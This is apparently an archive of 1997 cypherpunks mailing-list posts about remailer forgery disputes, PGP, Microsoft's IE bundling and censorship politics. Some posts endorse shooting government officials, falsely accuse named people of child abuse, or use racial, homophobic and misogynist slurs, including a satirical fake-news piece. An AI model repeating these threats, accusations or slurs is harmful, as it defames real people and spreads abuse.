iQEVAwUBNIVb4gbp0h8ZvosNAQH2Ywf9H6HrrV/QA1TxdLo5OzA/RKKxmfnonuLI Kjd38SnXXw9WtVsTwbvGGdt7HiQ4BP93JWMSDseM0Rg61Rvsa5sBp017V3xeHqzF mr8wE70VkXGa/P0Dmk8ToP0R0wIQoFasyrK8QeBXNZpII0VZo0qlsz1SctwIhmpZ NQ44yBDRramc3zOy2OFzKoxM4iBz3TBLuZodqeiFFWbJtwmvK9PxxmZ3wYgxjDGA JnqHriOMwG74qUBYmmyrrR877HIL6WJreQR+m0PAiuzSvKSyJngT44ejcS1e33zf XMipKUZAAyVqmtfkRLsgBd3aVDS/zwBQWWgDMnLNo/Fzo70vhs33BQ== =OCx/ -----END PGP SIGNATURE----- From comsec at nym.alias.net Wed Dec 3 06:30:27 1997 From: comsec at nym.alias.net (Charlie Comsec) Date: Wed, 3 Dec 1997 22:30:27 +0800 Subject: Bill Stewart kills babies after he molests them. Honest! / Message-ID: <19971203142009.20118.qmail@nym.alias.net> -----BEGIN PGP SIGNED MESSAGE----- Bill Stewart wrote: > > It never fails to amaze me that complainers point out that an > >'abusive' letter started out, "I hate niggersfaggotsjewsyou!" > >and then proceed to list the other fifty 'abusive' things that > >the writer had to say. > > The real problem, besides the emotional distress some people feel > at the abuse they get in response to forged postings, > and the potential loss of reputation capital, is that people > keep trying to call their ISP to get them shut down, > and some ISPs do this sort of thing, squashing abusive-sounding customers > first and asking questions later. Ok, soon-to-be-ex customers... Any ISP that would react that way should probably be avoided, anyway. Knee-jerk censorship like that is one of the best arguments around for posting via remailers. Not to mention the fact that posting anonymously prevents one's e-mail address from being misused in that fashion. But personally, the most persuasive argument is to keep people from compiling a de facto dossier on you based on your public postings, selling it to potential employers, and perhaps keeping you from getting a certain job because of your controversial, unpopular, and/or un-politically-correct opinions. IMO, people who rely on placebos like those "X-No-Archive" header flags are fooling themselves if they think they will be universally honored. Most so-called "forged postings" are rather crudely done, and the ones done using a remailer to paste headers are the most obvious ones of all. I'm not sure what the legal standard for "forgery" is, but if it's anything like that for fraud, it requires that a REASONABLE PERSON would be fooled. Given all the disclaimers present in the headers of remailer output, I doubt that any posts with pasted From: would meet that standard. Yes, I've heard the argument that "people don't read headers", but so what? Most of them probably don't read the fine print on contracts, either, but they're still responsible for what it says. - --- Finger for PGP public key (Key ID=19BE8B0D) -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBNIVRpAbp0h8ZvosNAQHcBAf+MCa1DBhmtI4h93zsegO6/fR0RJPko68+ f5ImWOnzxdg1eN4WkbdD4ELn00jLTZC+7+Xw94BkeT9wj1KLmP/BE6NUANdYFzdW YRyAHIK/WsYN6k9dal54TdDviC7SpBUH3IHnQa2USYJjfd9raviYp5NoCpBz5D7s E0+mnfxo8ufTE9Z09qRGmjtxrEfO+gug6lYYCG0h5j7SD+6mVcGuWFmoxbDzhqma IkzngE1dn3xXmwdMTQ5WNvWj+qths52hnszeQ7ZPE/pwrROVobhMevlabM2NYPA0 BLv5L0Te+p12Hj2599znmzJyY5NdqsqBzBbg9yFfaqoavdM/bg4wVw== =4Ppz -----END PGP SIGNATURE----- From Nerthus at server1.efga.org Wed Dec 3 07:03:58 1997 From: Nerthus at server1.efga.org (Nerthus at server1.efga.org) Date: Wed, 3 Dec 1997 23:03:58 +0800 Subject: Cypherpunks, PGP Buyout, & Writing Code... Message-ID: <75dc170e6b652c59e6183e81bc6266c6@anon.efga.org> [NOTE: This message was remailed by an anonymous remailing system. The original sender is unknown, and has inserted the From: header. This information has not been verified. As with all mail or news messages, you should examine the headers carefully before responding. Direct questions about this system to .] -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Jim Choate wrote: >Perhaps the buy-out of PGP is a good thing. Consider that now there is a >clear and present motive for Cypherpunks to start writing the next wave of >world-class crypto...it really is the *only* shure way that the process >doesn't get subverted...we're no longer able to rely on a single commen >source of crypto tools. Perhaps we should hold a Requiem for PGP, or maybe an Irish wake instead. Let's take a look back at some of the good things PGP did toward furthering the use of crypto. Phil Zimmerman took public key cryptography and brought it to a fairly wide base of users: 4 million people, plus or minus a million or two. :-) That's rather substantial given that less than 100 million people are estimated to be on the Net right now. Think of how many more yet-to-be Net users will demand strong cryptography in their communications, be it personal, financial, legal, recreational...who knows what else? PGP also showed how both a freeware and paid-for version of encryption software can be marketed together. The paid-for version of PGP 5.0 allows users to generate the new El Gamal/DSS keys as well as the familiar RSA keys, while the freeware only allows for the former. The important lesson here, I think, is that the writers of "the next wave of world-class crypto" can make money from the paid-for versions with the extra bells and whistles that some of us like, but they are not stifling the expansion of their software's user base because they are offering a freeware version that implements the basic protocols for communicating with users of the paid-for version, and of course other freeware users. Nerthus -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQA/AwUBNIUHwxa1d3zm4nqOEQIG4wCgsDqyMsl64IsDwz814eL9SwdJmu0AoJ9M OaSWiBx2cZZqq97f0GZ1GuJR =Mqbu -----END PGP SIGNATURE----- From Use-Author-Address-Header at [127.1] Wed Dec 3 07:05:04 1997 From: Use-Author-Address-Header at [127.1] (Anonymous) Date: Wed, 3 Dec 1997 23:05:04 +0800 Subject: ATTN: Gary L. Burnore In-Reply-To: Message-ID: <4c67f13a104bf33147da1edbef8265c4@anonymous.poster> gburnore at netcom.com (Gary L. Burnore) wrote: > :The remailer help documents I'm familiar with say they will act to prevent > :"harrassment" through the remailer. I presume the above would be viewed by > :the remailer owners as harrassment. > > Interesting presumtion. Hopefully true. The ONLY difference between remailers > and ISP's in this case, is that with an ISP, if you forge another's real ^^^^^ > address there's at least a possibility that you can be held accountable for > it. It's nothing at all to do with the CONTENT of the post. If same can be > said of a remailer, ie if you get UCE based on a post made with your address > as a from line the _real_ poster can be held accountable, then there is no > issue. That argument might have some validity if Netcom (your own ISP) didn't allow its own mail servers to be utilized by spammers and tell people who complain about this practice to G.F.Y. Just read some of the complaints about Netcom on the news.admin.net-abuse.email NG. If you had been "UCE baited" by someone using Netcom's mail servers, rather than those of a remailer, would you attempt to harass Netcom like you did Jeff Burchell who ran Mailmasher and the Huge Cajones Remailer? Would one of your associates at DataBasix demand that Netcom be shut down since they are unable or unwilling to stop the abuse of their servers? Would you threaten legal action to get Netcom to turn over all of their sendmail logs to you? What do you mean by "held accountable"? Having a throwaway Netcruiser account (perhaps one of many), acquired under a phony name, cancelled? You've already been informed, and admitted that it has been effective, that if you don't wish your e-mail address to appear in a From: line from a remailer you can request source blocking. It's sort of like the blocking of a/c 900 telephone numbers. If you are worried about abuse of your phone, you can request that calls to 900 numbers from your phone be blocked. You don't have to insist that they be blocked from EVERYONE'S phone just because they're a problem FOR YOU. Can you point to any equivalent safeguard against someone's e-mail address being forged through Netcom's SMTP servers, either by a Netcom user or by someone else? If not, isn't it time to make sure your own house is in order before meddling in the neighbors' houses? IMO, the remailers are already doing more to prevent what you perceive to be a problem than your own ISP is willing to do -- and this by VOLUNTEERS who are not being paid by you, or anyone, for their efforts. I also note that you're using the word "forge" again. Yet in another post from you within a day or two of this one, you claimed that you weren't concerned about forgery. Which is true? -- From paul at fatmans.demon.co.uk Wed Dec 3 07:05:06 1997 From: paul at fatmans.demon.co.uk (Paul Bradley) Date: Wed, 3 Dec 1997 23:05:06 +0800 Subject: Is Tim May guilty of illegally advocating revolution? In-Reply-To: <199712011825.TAA22548@basement.replay.com> Message-ID: > You've both forgotton the fourth leg of the tripod, the one where Tim May > calls for the governor of Florida to be shot (along with other officials). > Governor Chiles' capital crime? He refused to allow California wine to > be sold in Florida. You claim that restricting free trade by force is not a capital crime? > > Chiles and his co-conspirators should be shot for high crimes against the > > Constitution. After Clinton, Freeh, Kerrey, and the other traitors. > > Everyone likes to overlook this, pretending that May didn't mean it. Well, > he never withdrew it, did he? He never apologized for it. He's on the > record as explicitly calling for the murder of high officials. I don`t overlook this, and I think you`ll find a number of list members, along with Tim himself fully support the statement made. These traitors should be shot, neither Tim, nor anyone else has claimed he did not say that, and I, for one, agree. Datacomms Technologies data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: FC76DA85 "Don`t forget to mount a scratch monkey" From jk at stallion.ee Wed Dec 3 07:51:54 1997 From: jk at stallion.ee (Jyri Kaljundi) Date: Wed, 3 Dec 1997 23:51:54 +0800 Subject: AT&T Research "Crowds" -- Perl web anonymity proxy -- needs users In-Reply-To: Message-ID: On Wed, 19 Nov 1997, Lucky Green wrote: > > > That is unlikely to happen. The copies are personalized. > > > > In what way? If two people get copies of it and then diff them, the > > personalizations are obvious. > > Yes, indeed the personalizations are obvious. Even with just one copy. As > in "user ID" and "password", both of which are required to join the AT&T > crowd. Which happens to be the only crowd that it currently even makes > semi sense to join. Now that Crowds 1.1 is released, I had another look and it seems it is easy to set up your own crowds. So it should be uploaded to replay and other crypto sites. Jyri Kaljundi jk at stallion.ee AS Stallion Ltd http://www.stallion.ee/ From declan at pathfinder.com Wed Dec 3 07:55:28 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Wed, 3 Dec 1997 23:55:28 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <1.5.4.32.19971203113613.00843ef8@idt.net> Message-ID: This is nothing new. Honest (self-identified) leftists like my friend Bob Chatelle complain about the censors on the left almost as much as censors on the right. Other fave leftist censorship causes: -- MacKinnonite antiporn laws (she's a self-identified Marxist, I recall) -- "Hate speech" bans -- Sexual harassment "hostile environment" regulations (Give me a break. This is the justification for at least one library censorware installation.) -- Various FCC regulations aside from indecent stuff -- Advertising censorship (check out the Center for Media Education, a leftist group if I ever heard of one. In fact, as I pointed out in my Thanksgiving piece last week, CME's scaremongering Kids and the Net paper was cited by Enough is Enough as justification for the CDA) -- Labeling/compelled speech requirements (Jamie, are you out there?) >bottom line is that most any political orientation is likely to thrash free >speech when it appears to be a threat. Well, at least the libertarians in the audience are consistently opposed to government censorship. -Declan At 06:36 -0500 12/3/97, Jay Holovacs wrote: >Interesting article in Columbia Journalism Review, pointing out that the >political left is becoming more and more a cause censorship. I think the >bottom line is that most any political orientation is likely to thrash free >speech when it appears to be a threat. > >http://www.cjr.org/html/97-11-12-firstamend.html From sunder at brainlink.com Wed Dec 3 08:02:35 1997 From: sunder at brainlink.com (Ray Arachelian) Date: Thu, 4 Dec 1997 00:02:35 +0800 Subject: More microsoft monopoly::Re: NT 4.0 Option Pack released (fwd) Message-ID: Microsoft has now broken up the Service Packs into Bug Fix and Option Pack (new feechures) packages. However the catch is this: they require you to have Internet Exploiter 4.01 installed *BEFORE* you can install the Option Pack (whose features have little to do with Internet Exploiter, though they are part of the IIS web server. For example RAIDUS Remote Access Authentication has nothing to do with Exploiter.) IMHO: This is a cheap shot at making their browser more "incorporated" with the OS, that way they can get around the Justice Dept. :( Lame. Another message claims VC++ requires IE as well -- can anyone confirm this? =====================================Kaos=Keraunos=Kybernetos============== .+.^.+.| Ray Arachelian |Prying open my 3rd eye. So good to see |./|\. ..\|/..|sunder at sundernet.com|you once again. I thought you were |/\|/\ <--*-->| ------------------ |hiding, and you thought that I had run |\/|\/ ../|\..| "A toast to Odin, |away chasing the tail of dogma. I opened|.\|/. .+.v.+.|God of screwdrivers"|my eye and there we were.... |..... ======================= http://www.sundernet.com ========================== ---------- Forwarded message ---------- Date: Wed, 3 Dec 1997 08:08:57 -0500 From: Russ To: NTBUGTRAQ at LISTSERV.NTBUGTRAQ.COM Subject: NT 4.0 Option Pack released FYI, the final release of the NT 4.0 Option Pack has been posted, you can get full details at; http://www.microsoft.com/ntserver/default.asp For those that aren't already aware, Microsoft has split the old Service Pack into two components. One is the Option Pack, which includes new features and functionality, while the Service Pack will be kept to bug fixes or patches only (or so they say, we still haven't seen what this new SP will look like). Amongst other things, this first release of NTOP includes; IIS 4.0 Microsoft Transaction Server 2.0 Microsoft Message Queues 1.0 Microsoft Certificate Server 1.0 Internet Connection Services for Microsoft RAS (Radius) Microsoft Site Server Express (Web Usage and Content analysis/reporting) Internet Explorer 4.01 These components will now ship on a separate CD included with NT. Its important to note that IE4.01 *must* be installed prior to installing any of the NTOP components. Cheers, Russ ---------- Forwarded message ---------- Date: Wed, 3 Dec 1997 17:05:35 +0200 From: "Juha [ISO-8859-1] J�ykk�" To: NTBUGTRAQ at LISTSERV.NTBUGTRAQ.COM Subject: Re: NT 4.0 Option Pack released > Its important to note that IE4.01 *must* be installed prior to > installing any of the NTOP components. And MSIE must be installed before installing Visual C++.. Soon we hav= e it that MSIE must be installed before TCP/IP is installed... and then befo= re NT in installed! Is there no limit to this??? Is there any way to prevent = MS from *FORCING* us to install MSIE - other than boycott all MS products entirely (with NT5 it would seem that we have to boycott even the OS to= save ourselves from MSIE)??? Sorry the bitter tone - I just don't like programs that require me to install yet another program which I don't want to install. --=20 ----------------------------------------------- | Juha J=E4ykk=E4, juolja at utu.fi | | home: http://www.utu.fi/~juolja/ | | pgp-key: http://www.utu.fi/~juolja/pgp.txt | ----------------------------------------------- From frissell at panix.com Wed Dec 3 08:34:46 1997 From: frissell at panix.com (Duncan Frissell) Date: Thu, 4 Dec 1997 00:34:46 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <1.5.4.32.19971203113613.00843ef8@idt.net> Message-ID: <3.0.2.32.19971203112519.006ecdcc@panix.com> -----BEGIN PGP SIGNED MESSAGE----- At 10:42 AM 12/3/97 -0500, Declan McCullagh wrote: >This is nothing new. Honest (self-identified) leftists like my friend Bob >Chatelle complain about the censors on the left almost as much as censors >on the right. Other fave leftist censorship causes: > Not to forget the CPUSA's long time platform plank that promised to make racisim a crime punished by imprisonment. DCF -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQCVAwUBNIWH6oVO4r4sgSPhAQH7YwQAo/vMb7hqDMQ/6GP+gBXtruClj31qstbx mBSrb8VG8+9ZQO8/Tl8zY3h2FzRKea/sOQIlhpVeD2kryQUyqc2D6z79dklru5vu D7b5iJEY1na8xkQW/c3nD3ejsJRQ/5kjcNcZBQ4zxG/jM95B0tt3Wmn4B0/uMmid bJZDE0fMMEQ= =9qf9 -----END PGP SIGNATURE----- From Use-Author-Address-Header at [127.1] Wed Dec 3 08:58:36 1997 From: Use-Author-Address-Header at [127.1] (Anonymous) Date: Thu, 4 Dec 1997 00:58:36 +0800 Subject: Another of Gary Burnore's Lies Exposed (was: Re: not so fast Re: Kudos to NETCOM!) In-Reply-To: <3484fa3f.15802574@nntp.best.ix.netcom.com> Message-ID: <1d7856cec219ec3624f40522eef1457b@anonymous.poster> "Sam" wrote: > In article <3485813d.117631170 at nntp.best.ix.netcom.com>, > gburnore+NOspam at netcom.com (Gary L. Burnore) writes: > > > On 2 Dec 1997 14:59:30 GMT, "Sam" wrote: > > > >:Found it: > >: > >:Subject: Re: Burnore forgeries easily solvable > >:From: Sam > >:Date: 1997/07/10 > >:Message-ID: <5q3ms3$phq at chronicle.concentric.net> > >:Newsgroups: comp.org.eff.talk,alt.privacy.anon-server,alt.anonymous,alt.anonymous.messages,alt.censorship,news.ad > >: > >: > > > > > > Nice try Sam but no go. > > Not so fast. In the message that this was a follow-up to, > , your own exact words were: > > > This one dated 9 July 1997 > > is a good example. See the forged from line? Ths did not come from > > mmdf at databasix.com > > Well, no matter how you look at it, it was. It did came from > mmdf at databasix.com. There was no forgery. And that was precisely the > point of my initial post. I cannot believe that someone who is supposed to > administer a mail server cannot recognize an auto-ack generated by his own > machine, instead insisting that the message came from a third party, forged > with his return address. > > This puts all other claimed forgeries from a mail2news gateway, that you ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > have taken an issue with, and used as a basis to form your claims against > UCE-baiting, and such, as suspect. ^^^^^^^^^^ You've noticed that too, huh? Gary Burnore's "big lie" technique depends upon his claims being retold over and over, by himself and his associates such as Belinda Bryan , WITHOUT SERIOUS ANALYSIS like yours, in order to be believed. Gary's continuous whining about "forgeries" is becoming pathetic. In his haste to falsely claim that something was "forged" he missed the fact that the claimed "forgery" was traceable back to HIS OWN SERVER. He shot himself in the foot trying to frame the remailers this time. What would be the point in trying to forge a Usenet post to make it look like it came from "mmdf at databasix.com", anyway? Gary Burnore's forgery allegations against Mailmasher are similarly suspect. First of all, before planning the attack, somebody apparently didn't do his homework, or he'd have realized that Mailmasher was a web-based 'nymserver, not a remailer. Despite being challenged to do so, Gary has never been able to produce a single piece of documentation showing that Mailmasher ever had the ability to paste From: headers. The "evidence" that was posted had truncated Path headers that stopped at the mail2news gateway and contained "X-No-Archive" headers, just as Gary's own posts do, presumably to explain why none of these posts is independently available from third-party archives for verification. If the posts even existed in the first place, they are more likely to have been generated from a Netcruiser account, complete with headers designed to frame Mailmasher, than from Mailmasher itself. -- From honig at otc.net Wed Dec 3 09:27:31 1997 From: honig at otc.net (David Honig) Date: Thu, 4 Dec 1997 01:27:31 +0800 Subject: Bill Stewart kills babies after he molests them. Honest! / In-Reply-To: <3.0.3.32.19971203025104.00740bfc@popd.ix.netcom.com> Message-ID: <3.0.5.32.19971203091239.007e4410@206.40.207.40> At 07:53 AM 12/3/97 EST, Dr.Dimitri Vulis KOTM wrote: >Bill Stewart writes: > >> The real problem, besides the emotional distress some people feel >> at the abuse they get in response to forged postings, >> and the potential loss of reputation capital, is that people >> keep trying to call their ISP to get them shut down, >> and some ISPs do this sort of thing, squashing abusive-sounding customers >> first and asking questions later. Ok, soon-to-be-ex customers... > >Yes, this is one of the problems. Earlier this year pedophile Chris Lewis >from Northern Telecom forged a bunch of spam e-mail to look like it came >from dm.com (my domain). I got about 500 obnoxious e-mails, which I >semi-automatically responded to, and had a rather unpleasant conversation >with the assholes at my upstrea (PSI): "If you prove that this e-mail didn't >originate at your site, you will not be held responsible". If you could find a competant jury you would be able to show breach of contract had they done anything, because they should know better than to believe forgeries. Admittedly this is a major hassle you should not have to endure. ------------------------------------------------------------ David Honig Orbit Technology honig at otc.net Intaanetto Jigyoubu Information is a dense, colorless, odorless material readily transmitted across empty space and arbitrary boundaries by shaking charged particles. From honig at otc.net Wed Dec 3 09:32:22 1997 From: honig at otc.net (David Honig) Date: Thu, 4 Dec 1997 01:32:22 +0800 Subject: More microsoft monopoly::Re: NT 4.0 Option Pack released (fwd) In-Reply-To: Message-ID: <3.0.5.32.19971203092302.007d8b30@206.40.207.40> At 10:52 AM 12/3/97 -0500, Ray Arachelian wrote: >Microsoft has now broken up the Service Packs into Bug Fix and Option Pack >(new feechures) packages. > >However the catch is this: they require you to have Internet Exploiter >4.01 installed *BEFORE* you can install the Option Pack (whose features >have little to do with Internet Exploiter, though they are part of the >IIS web server. For example RAIDUS Remote Access Authentication has >nothing to do with Exploiter.) > >IMHO: This is a cheap shot at making their browser more "incorporated" >with the OS, that way they can get around the Justice Dept. :( Lame. >Another message claims VC++ requires IE as well -- can anyone confirm >this? > You must have IE (3+) installed in order to use MS's visual java, FYI. ------------------------------------------------------------ David Honig Orbit Technology honig at otc.net Intaanetto Jigyoubu Information is a dense, colorless, odorless material readily transmitted across empty space and arbitrary boundaries by shaking charged particles. From honig at otc.net Wed Dec 3 09:40:10 1997 From: honig at otc.net (David Honig) Date: Thu, 4 Dec 1997 01:40:10 +0800 Subject: CDT and the Threat of Gov't Intervention In-Reply-To: <199712021617.LAA28265@arutam.inch.com> Message-ID: <3.0.5.32.19971203090005.007d2340@206.40.207.40> At 12:46 AM 12/3/97 -0500, Declan McCullagh wrote: >Besides demonstrating that cyberporn is a topic that will >never disappear, the Kids and the Net summit has >highlighted the tensions between the different types of >Net-advocacy groups here in Washington. I'm sure the Feds are happy that their Good Cop (Clinton) / Bad Cop (Freeh) routine is having the divisive effect they planned, and making sacrifices seem acceptable. ------------------------------------------------------------ David Honig Orbit Technology honig at otc.net Intaanetto Jigyoubu Information is a dense, colorless, odorless material readily transmitted across empty space and arbitrary boundaries by shaking charged particles. From tcmay at got.net Wed Dec 3 09:53:52 1997 From: tcmay at got.net (Tim May) Date: Thu, 4 Dec 1997 01:53:52 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: <1.5.4.32.19971203113613.00843ef8@idt.net> Message-ID: At 8:42 AM -0700 12/3/97, Declan McCullagh wrote: >This is nothing new. Honest (self-identified) leftists like my friend Bob >Chatelle complain about the censors on the left almost as much as censors >on the right. Other fave leftist censorship causes: > >-- MacKinnonite antiporn laws (she's a self-identified Marxist, I recall) And her partner, Andrea Dworkin, belies the oft-quoted notion that someone so far to the left comes out a libertarian rightist. No, this chick Dworkin is so far left she's just plain _left_. She argues that porn for womyn (or is it wimmin?) is fine and dandy, because this represents lesbian sisterhood exploring their own blah blah blah, but porn aimed and directed at men, even if containing precisely the same images of naked chicks, is inherently exploitative and should be banned. (How?) Dworkin has clamined, several times, that all heterosexual sex is rape. >-- "Hate speech" bans And "hate speech" laws are already spreading on the Net. Just a day or two ago there was a report that a student is being prosecuted for "hate speech" messages mentioning Asians (or maybe just Japanese?) in a derogatory way. What part of "shall make no law" is not being understood here? What part of "sticks and stones may break my bones, but names will never hurt me" did they not understand? (This being one of the lessons, along with several other crucial memes, that some of us learned early on...apparently this lesson, and the fable of the grasshopper and the ant, has been replaced by the Dworkin-approved "Heather Has Two Mommies" lesbian propaganda.) >-- Sexual harassment "hostile environment" regulations (Give me a break. >This is the justification for at least one library censorware >installation.) This is a fairly old one, at least 15 years old. Girlie calendars, even of bikini girls, are banned in most work environments. GIFs or JPEGs with sexy themes are banned (unless, one presumes, they are "lesbigay or transgender" (!), in which case they must be encouraged by Management so as to provide a nurturing environment for lesbigays...sort of a kind of affirmative action for dykes and fags). The City of Berkeley has floated proposals to ban public reading, in diners, restaurants, etc., of magazines like "Playboy." Not because children might catch a glimpse of a naked breast, but because womyn and other sensitive souls might be offended. (I don't know if this was ever passed into law, let alone challenged in court.) >-- Various FCC regulations aside from indecent stuff Like mandatory voluntary ratings. Like mandatory voluntary "public service announcements." Like denials of licenses for politically incorrect stations. >-- Labeling/compelled speech requirements (Jamie, are you out there?) > Labelled speech will be the touchstone for the next couple of decades of debate about censorship, hurtful speech, and mandatory voluntary self-ratings. "But you can say anything you wish, provided you voluntarily and accurately self-label your words, and provided none of the protected class members are offended or insulted." >>bottom line is that most any political orientation is likely to thrash free >>speech when it appears to be a threat. > >Well, at least the libertarians in the audience are consistently opposed to >government censorship. Such has it always been, such will it always be. --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Wed Dec 3 11:03:41 1997 From: tcmay at got.net (Tim May) Date: Thu, 4 Dec 1997 03:03:41 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: At 9:44 AM -0700 12/3/97, Tim May wrote: >Labelled speech will be the touchstone for the next couple of decades of >debate about censorship, hurtful speech, and mandatory voluntary >self-ratings. > >"But you can say anything you wish, provided you voluntarily and accurately >self-label your words, and provided none of the protected class members are >offended or insulted." I should add a brief anecdote about the mind-set these people have. In the early 90s the city of Santa Cruz, CA, considered an "appearance discrimination" law. It was aimed at banning discrimination on the basis of appearance. The cited examples were of restaurants and other businesses in town which had rules against employees wearing nose rings, tongue studs, spiky hair, mohawks, lip piercings, tatoos, scarification, and such things. And "weight discrimination," as in the also-famous case of a Santa Cruz health food store turning down the employment application of a "person of poundage." (The grossly obese Toni Cassista, who sued the health food store citing weight discrimination...I believe she eventually settled out of court.) Inasmuch as the U.S. has not quite yet reached the point where such "appearance discrimination" is barred under Title 7 of the 1964 Civil Rights Act, the city fathers and mothers considered having their own appearance discrimination law. It was eventually tabled. Much national attention got focussed on it, as some of you may recall. ("What will Santa Cruz think of next?") I attended one of the public hearings, held in the Civic Center before a crowd of several hundred. Those who spoke pubically, during the hours-long public input, were apoplectically insistent that thoughtcrime be purged, that restaurants and other businesses be forced to hire those with extreme body decoration, piercing, tatooing, and such. A woman I vaguely knew from science fiction circles, who had divorced her husband and become a Radical Dyke (tm), summarized the view of the crowd: "The First Amendment gives these bigots the right to think anything they wish. But it doesn't give them the right to act on their bigoted thoughts publically." This view is, I think, the increasingly common view of the Left: that the First Amendment is about private thoughts, but that public expressions of such thoughts, either in published form or in hiring and firing decisions, etc., is not covered by the First Amendment. Sadly, if the Civil Rights Act is upheld, they are probably correct. Any public utterance or publication of certain politically incorrect thoughts is likely to be viewed as a violation of the "civil rights" of some aggrieved minority. (I, of course, would like to see all parts of the Civil Rights Act except those dealing directly with _governmental_ discrimination against certain races or gender, struck down. The Civil Rights Act should only be about government allowing equal access to voting booths, publically-funded facilities, etc. It should not interfere with a person's right to associate with whom he wishes, to hire and fire whomever he wishes, and to serve or sell to whomever he wishes. Without these rights, there is no real freedom.) --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From cnn at dev.null Wed Dec 3 11:03:42 1997 From: cnn at dev.null (Canadian Nutly News) Date: Thu, 4 Dec 1997 03:03:42 +0800 Subject: Khristian Kult Killings Message-ID: <3485A585.BFD@dev.null> [CANADIAN NUTLY NEWS-Bienfait, Saskatchewan]AN ASSORTMENT OF POLITCAL criminals from Washington, DC, held a press conference at the Coaldust Saloon last night, with the main topic of discussion being the gangland battles between rival Christian cults. Bill Clinton expressed dismay over secret intelligence reports that not only were the Christian gangs widely dispersed throughout the school system, but that there was evidence of involvement by many teachers and school administrators, as well. "Many of these cults have beliefs very similar to the Heaven's Gate cult, with their members involved in preparing to participate in an exiting of the physical plane in a similar manner, and the eventual overthrow of democratic government in all countries, led by their currently exiled guerilla leader." Lying Jackoff Fuck Louis J. Freeh stated that more crimes are committed in America by followers of the Christian cults than even the large number committed by people with Italian names. "The problem is enormous." Freeh stated. "Many of the children are committed to these gangs by their parents, almost from birth. It is not surprising that the kids seldom manage to escape the grip of these cults, even as adults." Murdering Nazi Cunt Janet Reno stated that BATF agents had informed her that Christian cult members throughout the U.S. were in possession of more weapons than members of the paramilitary. "The real threat of having weapons in these people's hands is that, like most paramilitary members, they don't regard the Federal government as being the supreme authority." Anonymous sources at the scene of the recent cult slaughter at a high school in Kentucky confirmed that several copies of a popular cult manifesto were found in the homes of both the shooter and the dead participants in the bizarre ritual. The manifesto, which is vastly more subversive and violent than books such as "The Turner Diaries," is often referred to by cult members in oblique coded-language as simply, "The Book." Bar maids and local drunks at the Coaldust Saloon denied the rumors that the book, known as the Word of God to most cult followers, was actually one of the early manuscripts of the author of 'The True Story of the InterNet,' and that 'God' was nothing more than a thinly veiled anagram for 'Dog', representing one of the author's many nefarious aliases. However, A Sorry Drunk To Be Named Later informed gathered reportwhores that if Christian cult members around the world sent their tithes, in cash, to PO Box 281, Bienfait, Saskatchewan, that they would be assured a space on the spaceship approaching earth in the shadow of comet Khrist-Bop-Shoo-Bop. (When pressed for details as to the time of arrival of the mythical space aliens worshipped by the cult, A Sorry Drunk To Be Named Later merely winked and said, "Let's just say that cult members will be swept up into another dimension on the same day as their computers.") Canadian Nutly News sources confirmed earlier today that the shooter in the ritual slaughter at the high school in Kentucky was wearing a T-shirt with a radical cult slogan often used to whip cult members into a violent frenzy, "He was clothed with a robe dipped in blood, and His name is called The Word of Dog." ~sog~ From honig at otc.net Wed Dec 3 11:07:16 1997 From: honig at otc.net (David Honig) Date: Thu, 4 Dec 1997 03:07:16 +0800 Subject: 'Off' the parking pigs! In-Reply-To: <3.0.5.32.19971202122124.007a4b60@otc.net> Message-ID: <3.0.5.32.19971203104104.007cbd60@206.40.207.40> At 04:31 PM 12/2/97 -0600, TruthMonger wrote: >David Honig wrote: >> relevant to anon remailers & society thread... > >> SANTA ANA, Calif., Dec. 2 (UPI) _ Saying the case has national importance, >> federal prosecutors will >> retry a 20-year-old man accused of sending threatening electronic mail to >> Asian students at UC Irvine. > >> Stotler denied bail for Machado, noting that he fled to Mexico when he was >> first charged. > > Are we supposed to feel 'safer' in public, knowing that we may be >surrounded by people to whom it may be worthwhile to kill a few cops >and innocent bystanders in order to avoid punishment for sending >nasty email, or having an unpaid parking ticket? Turn the facetiousness down a notch, Monger-san. This moron sent death threats to individuals. Its stupid that Fed "hate mail" laws inflate the case, when its already a death-threat case, and its stupid that it gets press because its the internet, but hey, this is the 90's. It is pretty reasonable IMHO to hold people responsible for direct threats when AND ONLY WHEN they can be traced to them (duh). As for the loser in question, 'fleeing' to Mexico is an short drive from Irvine, its not like he actually had to pull some desperado stunts that would have endangered others. I'm frankly surprised Machado (or his presumably more intelligent attorneys) didn't try to deny sending the messages ("I left my terminal to go potty"). (This may have to do with the technical circumstances of his capture, of which I'm unaware.) But if the messages were traceable, I've not yet read a (usually brilliant) Monger rave wherein you argue that personal responsibility for threats is a null concept. ------------------------------------------------------------ David Honig Orbit Technology honig at otc.net Intaanetto Jigyoubu Information is a dense, colorless, odorless material readily transmitted across empty space and arbitrary boundaries by shaking charged particles. From honig at otc.net Wed Dec 3 11:16:01 1997 From: honig at otc.net (David Honig) Date: Thu, 4 Dec 1997 03:16:01 +0800 Subject: Censorial leftists (Was: Interesting article) In-Reply-To: Message-ID: <3.0.5.32.19971203104756.007e9320@206.40.207.40> At 09:44 AM 12/3/97 